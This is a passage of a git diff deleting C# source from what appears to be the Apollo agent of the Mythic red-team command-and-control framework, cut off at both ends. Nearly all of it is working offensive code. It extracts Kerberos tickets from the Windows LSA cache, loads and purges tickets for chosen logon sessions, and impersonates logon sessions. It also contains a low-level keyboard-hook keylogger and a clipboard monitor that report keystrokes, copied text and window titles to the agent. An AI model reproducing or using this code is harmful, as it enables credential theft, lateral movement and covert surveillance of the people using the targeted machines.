if(ticket is null) - { - DebugHelp.DebugWriteLine($"Failed to find ticket for {targetName}"); - return (null, $"Failed to find ticket for {targetName}"); - } - - KERB_RETRIEVE_TKT_REQUEST request = new() - { - MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage, - LogonId = targetLuid, - TargetName = new(ticket.ServerName), - TicketFlags = 0, - CacheOptions = KerbCacheOptions.KERB_RETRIEVE_TICKET_AS_KERB_CRED, - EncryptionType = 0 - }; - // LsaCallAuthenticationPackage requires the target name is added to the end of the struct - // need to allocate memory for the struct and the target name - var requestSize = Marshal.SizeOf(); - var targetNameSize = request.TargetName.MaximumLength; - var requestPlusNameSize = requestSize + targetNameSize; - HANDLE requestAndNameHandle = new(Marshal.AllocHGlobal(requestPlusNameSize)); - //write the request to the start of the new memory block - Marshal.StructureToPtr(request, requestAndNameHandle, false); - //get the address of the end of the struct - HANDLE requestEndAddress = new(new(requestAndNameHandle.PtrLocation.ToInt64() + requestSize)); - //write the target name to the end of the struct - WindowsAPI.RtlMoveMemoryDelegate(requestEndAddress, request.TargetName.Buffer, targetNameSize); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("RtlMoveMemory")); - // ugh microsoft, why do you do this to me :( - //so the address inside the struct needs to be updated to the new address of the target name now that its written to the end of the request data, so we write that address value as the address to read the target name from - Marshal.WriteIntPtr(requestAndNameHandle, IntPtr.Size == 8 ? 24 : 16, requestEndAddress); - //get the ticket - var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestAndNameHandle, requestPlusNameSize, out HANDLE returnBuffer, out uint returnLength, out NTSTATUS returnStatus); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage")); - - if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS) - { - DebugHelp.DebugWriteLine($"Failed to extract ticket with error: {status} and return status: {returnStatus}"); - return (null, $"Failed to extract ticket.\nLsaCallAuthentication returned {status} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(status)}) with protocolStatus {returnStatus} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(returnStatus)})"); - } - //convert the location of the ticket in memory to a struct - var response = returnBuffer.CastTo(); - - //make sure the ticket has some data - if (response.Ticket.EncodedTicketSize == 0) - { - DebugHelp.DebugWriteLine("No ticket Data to extract"); - WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); - return (null, "No ticket Data to extract"); - } - //copy the ticket data to a byte array - ticket.Kirbi = new byte[response.Ticket.EncodedTicketSize]; - Marshal.Copy(response.Ticket.EncodedTicket, ticket.Kirbi, 0, (int)response.Ticket.EncodedTicketSize); - WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); - return (ticket, ""); - } - catch (Exception e) - { - return (null, e.Message); - } - } - - // load ticket - internal static (bool, string) LoadTicket(byte[] submittedTicket, LUID targetLuid) - { - HANDLE requestAndTicketHandle = new(); - HANDLE lsaHandle = new(); - HANDLE returnBuffer = new(); - try - { - //needs to be elevated to pass in a logon id so if we aren't we wipe the value here - //Discarding the logonSessions because we do not need them so we pass false to prevent enumerating them - (lsaHandle, uint authPackage, IEnumerable _, string error) = InitKerberosConnectionAndSessionInfo(false); - //if we are not an admin user then we cannot send a real lUID so we need to send a null one - //if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity) - //{ - // DebugHelp.DebugWriteLine("Not high integrity, setting targetLuid to 0"); - // targetLuid = new LUID(); - //} - //get the size of the request structure - if(error != "") - { - return (false, $"Failed to Initialize Kerberos Connection and Session Info\n{error}"); - } - var requestSize = Marshal.SizeOf(); - - KERB_SUBMIT_TKT_REQUEST request = new() - { - MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage, - LogonId = targetLuid, - KerbCredSize = submittedTicket.Length, - KerbCredOffset = requestSize, - }; - - //get the size of the required parts and allocate memory for the struct and the ticket - var ticketSize = submittedTicket.Length; - DebugHelp.DebugWriteLine($"Ticket is of size {ticketSize}"); - var requestPlusTicketSize = requestSize + ticketSize; - DebugHelp.DebugWriteLine($"Allocating memory for request and ticket of size {requestPlusTicketSize}"); - requestAndTicketHandle = new(Marshal.AllocHGlobal(requestPlusTicketSize)); - - //write the request to the start of the new memory block - Marshal.StructureToPtr(request, requestAndTicketHandle, false); - //get the address of the end of the struct - HANDLE requestEndAddress = new(new(requestAndTicketHandle.PtrLocation.ToInt64() + requestSize)); - //write the ticket to the end of the struct - Marshal.Copy(submittedTicket, 0, requestEndAddress.PtrLocation, ticketSize); - - //submit the ticket - DebugHelp.DebugWriteLine($"Submitting ticket of size {ticketSize} to LSA"); - var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestAndTicketHandle, requestPlusTicketSize, out returnBuffer, out uint returnLength, out NTSTATUS returnStatus); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage")); - if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS) - { - DebugHelp.DebugWriteLine($"Failed to submit ticket with api status: {status} and protocolStatus: {returnStatus}"); - return (false, $"Failed to submit ticket.\nLsaCallAuthentication returned {status} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(status)}) with protocolStatus {returnStatus} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(returnStatus)})"); - } - DebugHelp.DebugWriteLine("Ticket submitted"); - return (true, ""); - } - catch (Exception e) - { - return (false, e.Message); - } - finally - { - Marshal.FreeHGlobal(requestAndTicketHandle.PtrLocation); - WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); - //is checked because for some operations loading the ticket is not the final step so we may want to keep the handle open - WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess")); - - } - } - - // unload ticket - internal static (bool, string) UnloadTicket(string serviceName, string domainName, LUID targetLuid, bool All) - { - HANDLE lsaHandle = new(); - HANDLE requestBuffer = new(); - HANDLE returnBuffer = new(); - try - { - // Prepare strings and calculate their sizes in bytes (UTF-16) - int cbServer = All ? 0 : (serviceName.Length + 1) * 2; - int cbRealm = All ? 0 : (domainName.Length + 1) * 2; - - // Calculate total size for memory allocation - int requestSize = Marshal.SizeOf(); - int totalSize = requestSize + cbServer + cbRealm; - requestBuffer = (HANDLE)Marshal.AllocHGlobal(totalSize); - - // Initialize the request structure - KERB_PURGE_TKT_CACHE_REQUEST request = new() - { - MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage, - LogonId = Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity ? new LUID() : targetLuid - }; - - // Marshal the request structure first - Marshal.StructureToPtr(request, requestBuffer, false); - - // Copy the strings directly into the allocated buffer - if (!All) - { - IntPtr serverNamePtr = new IntPtr(requestBuffer.PtrLocation.ToInt64() + requestSize); - IntPtr realmNamePtr = new IntPtr(serverNamePtr.ToInt64() + cbServer); - Marshal.Copy(Encoding.Unicode.GetBytes(serviceName + "\0"), 0, serverNamePtr, cbServer); - Marshal.Copy(Encoding.Unicode.GetBytes(domainName + "\0"), 0, realmNamePtr, cbRealm); - - // Update the request with pointers and lengths - request.ServerName = new UNICODE_STRING - { - Buffer = (HANDLE)serverNamePtr, - Length = (ushort)(cbServer - 2), - MaximumLength = (ushort)cbServer - }; - request.RealmName = new UNICODE_STRING - { - Buffer = (HANDLE)realmNamePtr, - Length = (ushort)(cbRealm - 2), - MaximumLength = (ushort)cbRealm - }; - } - - // Re-marshal the structure with updated pointers - Marshal.StructureToPtr(request, requestBuffer, false); - - // get the connection info for lsa - (lsaHandle, uint authPackage, IEnumerable _, string error) = InitKerberosConnectionAndSessionInfo(false); - if(error != "") - { - return (false, $"Failed to Initialize Kerberos Connection and Session Info\n{error}"); - } - - var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestBuffer, totalSize, out returnBuffer, out uint returnLength, out NTSTATUS returnStatus); - - if (status == NTSTATUS.STATUS_SUCCESS && returnStatus == NTSTATUS.STATUS_SUCCESS) - { - return (true, ""); - } - DebugHelp.DebugWriteLine($"Failed to remove ticket with error: {status} and return status: {returnStatus}"); - return (false, $"Failed to submit ticket.\nLsaCallAuthentication returned {status} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(status)}) with protocolStatus {returnStatus} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(returnStatus)})"); - } - catch (Exception e) - { - DebugHelp.DebugWriteLine($"Error unloading ticket: {e.Message}"); - return (false, $"Error unloading ticket: {e.Message}"); - } - finally - { - Marshal.FreeHGlobal(requestBuffer.PtrLocation); - WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); - WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess")); - } - } - - //describe ticket - internal static KerberosTicket? TryGetTicketDetailsFromKirbi(byte[] kirbiTicket) - { - KerberosTicket? ticket = null; - try - { - HANDLE newlogonHandle = CreateNewLogonSession(); - if (newlogonHandle.IsNull) - { - DebugHelp.DebugWriteLine("Failed to create new logon session"); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - } - else - { - WindowsAPI.ImpersonateLoggedOnUserDelegate(newlogonHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("ImpersonateLoggedOnUser")); - //passing new luid here is fine because we have switched to the new logon session - int tokenInfoSize = Marshal.SizeOf(); - HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); - WindowsAPI.GetTokenInformationDelegate(newlogonHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation")); - TOKEN_STATISTICS tokenStats = tokenInfo.CastTo(); - LoadTicket(kirbiTicket, tokenStats.AuthenticationId); - ticket = TriageTickets(getSystemTickets:true, targetLuid:$"{tokenStats.AuthenticationId}").FirstOrDefault(); - if(ticket != null) - { - ticket.Kirbi = kirbiTicket; - DebugHelp.DebugWriteLine($"Converted base64 ticket to KerberosTicket: {ticket.ToString().ToIndentedString()}"); - } else - { - DebugHelp.DebugWriteLine($"Failed to triage any tickets"); - } - } - } - catch (Exception e) - { - DebugHelp.DebugWriteLine($"Error converting base64 ticket to KerberosTicket: {e.Message} \n stack trace: {e}"); - } - return ticket; - } - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosTicketManager.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosTicketManager.cs deleted file mode 100644 index ce6667a4..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosTicketManager.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using ApolloInterop.Features.KerberosTickets; -using ApolloInterop.Features.WindowsTypesAndAPIs; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; - -namespace KerberosTickets; - -public class KerberosTicketManager : ITicketManager -{ - /// - /// Instance of the Agent class which is passed in during the Start call of the primary application - /// This will never be null as it is set in the constructor during startup of the main app - /// Is used to access varoius API's and other features of the main application & Interop library - /// - internal static IAgent Agent { get; private set;} = null!; - - internal List loadedTickets = new List(); - - - public KerberosTicketManager(IAgent agent) - { - Agent = agent; - WindowsAPI.Initialize(); - DebugHelp.DebugWriteLine("KerberosTicketManager initialized"); - } - - - public List GetArtifacts() => KerberosHelpers.GetCreatedArtifacts(); - public string GetCurrentLuid() => KerberosHelpers.GetCurrentLuid().ToString(); - - public string GetTargetProcessLuid(int pid) => KerberosHelpers.GetTargetProcessLuid(pid).ToString(); - - //ticket cache functions, these effect the session on the system - public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName) => KerberosHelpers.ExtractTicket(WinNTTypes.LUID.FromString(luid), serviceName); - public List EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "") => KerberosHelpers.TriageTickets(getSystemTickets,luid).ToList(); - - public (bool, string) LoadTicketIntoCache(byte[] ticket, string luid) => KerberosHelpers.LoadTicket(ticket, WinNTTypes.LUID.FromString(luid)); - - public (bool, string) UnloadTicketFromCache(string serviceName, string domainName, string luid, bool All = false) => KerberosHelpers.UnloadTicket(serviceName, domainName, WinNTTypes.LUID.FromString(luid), All); - - public KerberosTicket? GetTicketDetailsFromKirbi(byte[] kirbi) => KerberosHelpers.TryGetTicketDetailsFromKirbi(kirbi); - - - //Ticket Store Functions, these only effect the in memory ticket store - public List GetTicketsFromTicketStore() => loadedTickets; - - public void AddTicketToTicketStore(KerberosTicketStoreDTO ticket) => loadedTickets.Add(ticket); - - public bool RemoveTicketFromTicketStore(string serviceName, bool All = false) - => All ? loadedTickets.RemoveAll(_ => true) > 0 - : loadedTickets.RemoveAll(x => x.ServiceFullName.Equals(serviceName, StringComparison.CurrentCultureIgnoreCase)) > 0; - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosTickets.csproj b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosTickets.csproj deleted file mode 100644 index 198e391a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosTickets.csproj +++ /dev/null @@ -1,13 +0,0 @@ - - - net451 - Library - true - 12 - enable - false - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/Properties/AssemblyInfo.cs deleted file mode 100644 index 322d8f77..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("KerberosTickets")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("KerberosTickets")] -[assembly: AssemblyCopyright("Copyright © 2024")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("2EA76D5F-44EB-4B41-8752-0A9380E5A28A")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs deleted file mode 100644 index d638628e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs +++ /dev/null @@ -1,56 +0,0 @@ -using ApolloInterop.Classes.Api; -using ApolloInterop.Features.WindowsTypesAndAPIs; -using static KerberosTickets.KerberosTicketManager; - -namespace KerberosTickets; - -public static class WindowsAPI -{ - public static Secur32APIs.LsaConnectUntrusted LsaConnectUntrustedDelegate { get; private set; } - public static Secur32APIs.LsaLookupAuthenticationPackage LsaLookupAuthenticationPackageDelegate { get; private set; } - - public static Secur32APIs.LsaCallAuthenticationPackage LsaCallAuthenticationPackageDelegate { get; private set; } - public static Secur32APIs.LsaEnumerateLogonSessions LsaEnumerateLogonSessionsDelegate { get; private set; } - public static Secur32APIs.LsaFreeReturnBuffer LsaFreeReturnBufferDelegate { get; private set; } - public static Secur32APIs.LsaRegisterLogonProcess LsaRegisterLogonProcessDelegate { get; private set; } - public static Secur32APIs.LsaDeregisterLogonProcess LsaDeregisterLogonProcessDelegate { get; private set; } - - public static Secur32APIs.LsaGetLogonSessionData LsaGetLogonSessionDataDelegate { get; private set; } - public static Advapi32APIs.GetTokenInformation GetTokenInformationDelegate { get; private set; } - public static NtdllAPIs.RtlMoveMemory RtlMoveMemoryDelegate { get; private set; } - public static Advapi32APIs.LsaNtStatusToWinError LsaNtStatusToWinErrorDelegate { get; private set; } - - public static Kernel32APIs.OpenProcess OpenProcessDelegate { get; private set; } - public static Advapi32APIs.OpenProcessToken OpenProcessTokenDelegate { get; private set; } - public static Kernel32APIs.CloseHandle CloseHandleDelegate { get; private set; } - public static Advapi32APIs.ImpersonateLoggedOnUser ImpersonateLoggedOnUserDelegate { get; private set; } - - public static Secur32APIs.LsaLogonUser LsaLogonUserDelegate { get; private set; } - public static Advapi32APIs.AllocateLocallyUniqueId AllocateLocallyUniqueIdDelegate { get; private set; } - public static Advapi32APIs.LogonUserA LogonUserADelegate { get; private set; } - - - - public static void Initialize() - { - LsaConnectUntrustedDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaConnectUntrusted"); - LsaLookupAuthenticationPackageDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaLookupAuthenticationPackage"); - LsaEnumerateLogonSessionsDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaEnumerateLogonSessions"); - LsaFreeReturnBufferDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaFreeReturnBuffer"); - LsaRegisterLogonProcessDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaRegisterLogonProcess"); - LsaDeregisterLogonProcessDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaDeregisterLogonProcess"); - LsaCallAuthenticationPackageDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaCallAuthenticationPackage"); - LsaGetLogonSessionDataDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaGetLogonSessionData"); - GetTokenInformationDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetTokenInformation"); - RtlMoveMemoryDelegate = Agent.GetApi().GetLibraryFunction(Library.NTDLL, "RtlMoveMemory"); - LsaNtStatusToWinErrorDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LsaNtStatusToWinError"); - OpenProcessDelegate = Agent.GetApi().GetLibraryFunction(Library.KERNEL32, "OpenProcess"); - OpenProcessTokenDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); - CloseHandleDelegate = Agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); - ImpersonateLoggedOnUserDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ImpersonateLoggedOnUser"); - LsaLogonUserDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaLogonUser"); - AllocateLocallyUniqueIdDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "AllocateLocallyUniqueId"); - LogonUserADelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserA"); - } - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Clipboard.cs b/Payload_Type/apollo/apollo/agent_code/KeylogInject/Clipboard.cs deleted file mode 100644 index c05a3d8b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Clipboard.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System.Threading; - -namespace KeylogInject -{ - static class Clipboard - { - public static string GetText() - { - string ReturnValue = string.Empty; - Thread STAThread = new Thread( - delegate () - { - // Use a fully qualified name for Clipboard otherwise it - // will end up calling itself. - ReturnValue = System.Windows.Forms.Clipboard.GetText(); - }); - STAThread.SetApartmentState(ApartmentState.STA); - STAThread.Start(); - STAThread.Join(); - - return ReturnValue; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/ClipboardNotification.cs b/Payload_Type/apollo/apollo/agent_code/KeylogInject/ClipboardNotification.cs deleted file mode 100644 index 74a1754e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/ClipboardNotification.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using System.Text; -using System.Windows.Forms; -using static KeylogInject.Delegates; -using static KeylogInject.Native; - -namespace KeylogInject -{ - public sealed class ClipboardNotification : Form - { - private static string _username = System.Security.Principal.WindowsIdentity.GetCurrent().Name; - public static PushKeylog LogMessage; - string lastWindow = ""; - string lastClipboard = ""; - public ClipboardNotification() - { - //Turn the child window into a message-only window (refer to Microsoft docs) - SetParent(Handle, HWND_MESSAGE); - //Place window in the system-maintained clipboard format listener list - AddClipboardFormatListener(Handle); - } - - protected override void WndProc(ref Message m) - { - try - { - //Listen for operating system messages - if (m.Msg == WM_CLIPBOARDUPDATE) - { - - //Write to stdout active window - IntPtr active_window = GetForegroundWindow(); - if (active_window != IntPtr.Zero && active_window != null) - { - int length = GetWindowTextLength(active_window); - StringBuilder sb = new StringBuilder(length + 1); - GetWindowText(active_window, sb, sb.Capacity); - string clipboardMessage = ""; - string curWindow = sb.ToString(); - try - { - clipboardMessage = $"[ctrl-C] Clipboard Copied: {Clipboard.GetText()}[/ctrl-C]"; - } - catch (Exception ex) - { - clipboardMessage = "[ERROR]Couldn't get text from clipboard.[/ERROR]"; - } - if (clipboardMessage != lastClipboard || lastWindow != curWindow) - { - lastClipboard = clipboardMessage; - lastWindow = curWindow; - LogMessage(new ApolloInterop.Structs.MythicStructs.KeylogInformation - { - Username = _username, - WindowTitle = sb.ToString(), - Keystrokes = clipboardMessage - }); - } - } - } - //Called for any unhandled messages - base.WndProc(ref m); - } - catch (Exception ex) - { - //Console.WriteLine("[X] Error in WndProc: {0}", ex.Message); - //Console.WriteLine("[X] StackTrace: {0}", ex.StackTrace); - } - } - - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Delegates.cs b/Payload_Type/apollo/apollo/agent_code/KeylogInject/Delegates.cs deleted file mode 100644 index 12e97d86..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Delegates.cs +++ /dev/null @@ -1,9 +0,0 @@ -using ApolloInterop.Interfaces; - -namespace KeylogInject -{ - public static class Delegates - { - public delegate bool PushKeylog(IMythicMessage info); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/FodyWeavers.xml b/Payload_Type/apollo/apollo/agent_code/KeylogInject/FodyWeavers.xml deleted file mode 100644 index 286d191a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/FodyWeavers.xsd b/Payload_Type/apollo/apollo/agent_code/KeylogInject/FodyWeavers.xsd deleted file mode 100644 index 05e92c11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/FodyWeavers.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/KeylogInject.csproj b/Payload_Type/apollo/apollo/agent_code/KeylogInject/KeylogInject.csproj deleted file mode 100644 index d99b3b1f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/KeylogInject.csproj +++ /dev/null @@ -1,24 +0,0 @@ - - - net451 - Exe - 12 - enable - false - true - true - AnyCPU;x64;x86 - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Keylogger.cs b/Payload_Type/apollo/apollo/agent_code/KeylogInject/Keylogger.cs deleted file mode 100644 index 8cde0482..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KeylogInject/Keylogger.cs +++ /dev/null @@ -1,415 +0,0 @@ -using System; -using System.Windows.Forms; -using System.Runtime.InteropServices; -using System.Text; -using static KeylogInject.Native; -using static KeylogInject.Delegates; - -namespace KeylogInject -{ - public static class Keylogger - { - private static string Username = System.Security.Principal.WindowsIdentity.GetCurrent().Name; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 0x0100; - private static LowLevelKeyboardProc _proc = HookCallback; - public static IntPtr HookIdentifier = IntPtr.Zero; - private static string lastTitle = ""; - public static PushKeylog LogMessage; - - public static IntPtr HookCallback(Int32 code, IntPtr wParam, IntPtr lParam) - { - try - { - Int32 msgType = wParam.ToInt32(); - Int32 vKey; - string key = ""; - if (code >= 0 && lParam != IntPtr.Zero) - { - bool shift = false; - bool ctrl = false; - IntPtr hWindow = GetForegroundWindow(); - short shiftState = GetAsyncKeyState(Keys.ShiftKey); - short ctrlState = GetAsyncKeyState(Keys.LControlKey); - if ((shiftState & 0x8000) == 0x8000) - { - shift = true; - } - - if ((ctrlState & 0x8000) == 0x8000) - { - ctrl = true; - } - var caps = Console.CapsLock; - - if (lParam != IntPtr.Zero) - { - // read virtual key from buffer - vKey = Marshal.ReadInt32(lParam); - if (msgType == 0x100 || msgType == 0x104) - { - // Parse key - if (vKey == 86 && ctrl) - { - key = "[PASTE]"; - } - else if (vKey > 64 && vKey < 91) - { - if (shift | caps) - { - key = ((Keys)vKey).ToString(); - } - else - { - key = ((Keys)vKey).ToString().ToLower(); - } - } - else if (vKey >= 96 && vKey <= 111) - { - switch (vKey) - { - case 96: - key = "0"; - break; - case 97: - key = "1"; - break; - case 98: - key = "2"; - break; - case 99: - key = "3"; - break; - case 100: - key = "4"; - break; - case 101: - key = "5"; - break; - case 102: - key = "6"; - break; - case 103: - key = "7"; - break; - case 104: - key = "8"; - break; - case 105: - key = "9"; - break; - case 106: - key = "*"; - break; - case 107: - key = "+"; - break; - case 108: - key = "|"; - break; - case 109: - key = "-"; - break; - case 110: - key = "."; - break; - case 111: - key = "/"; - break; - } - } - else if ((vKey >= 48 && vKey <= 57) || (vKey >= 186 && vKey <= 192)) - { - if (shift) - { - switch (vKey) - { - case 48: - key = ")"; - break; - case 49: - key = "!"; - break; - case 50: - key = "@"; - break; - case 51: - key = "#"; - break; - case 52: - key = "$"; - break; - case 53: - key = "%"; - break; - case 54: - key = "^"; - break; - case 55: - key = "&"; - break; - case 56: - key = "*"; - break; - case 57: - key = "("; - break; - case 186: - key = ":"; - break; - case 187: - key = "+"; - break; - case 188: - key = "<"; - break; - case 189: - key = "_"; - break; - case 190: - key = ">"; - break; - case 191: - key = "?"; - break; - case 192: - key = "~"; - break; - case 219: - key = "{"; - break; - case 220: - key = "|"; - break; - case 221: - key = "}"; - break; - case 222: - key = "\""; - break; - } - } - else - { - switch (vKey) - { - case 48: - key = "0"; - break; - case 49: - key = "1"; - break; - case 50: - key = "2"; - break; - case 51: - key = "3"; - break; - case 52: - key = "4"; - break; - case 53: - key = "5"; - break; - case 54: - key = "6"; - break; - case 55: - key = "7"; - break; - case 56: - key = "8"; - break; - case 57: - key = "9"; - break; - case 186: - key = ";"; - break; - case 187: - key = "="; - break; - case 188: - key = ","; - break; - case 189: - key = "-"; - break; - case 190: - key = "."; - break; - case 191: - key = "/"; - break; - case 192: - key = "`"; - break; - case 219: - key = "["; - break; - case 220: - key = "\\"; - break; - case 221: - key = "]"; - break; - case 222: - key = "'"; - break; - } - } - } - else - { - switch ((Keys)vKey) - { - case Keys.F1: - key = "[F1]"; - break; - case Keys.F2: - key = "[F2]"; - break; - case Keys.F3: - key = "[F3]"; - break; - case Keys.F4: - key = "[F4]"; - break; - case Keys.F5: - key = "[F5]"; - break; - case Keys.F6: - key = "[F6]"; - break; - case Keys.F7: - key = "[F7]"; - break; - case Keys.F8: - key = "[F8]"; - break; - case Keys.F9: - key = "[F9]"; - break; - case 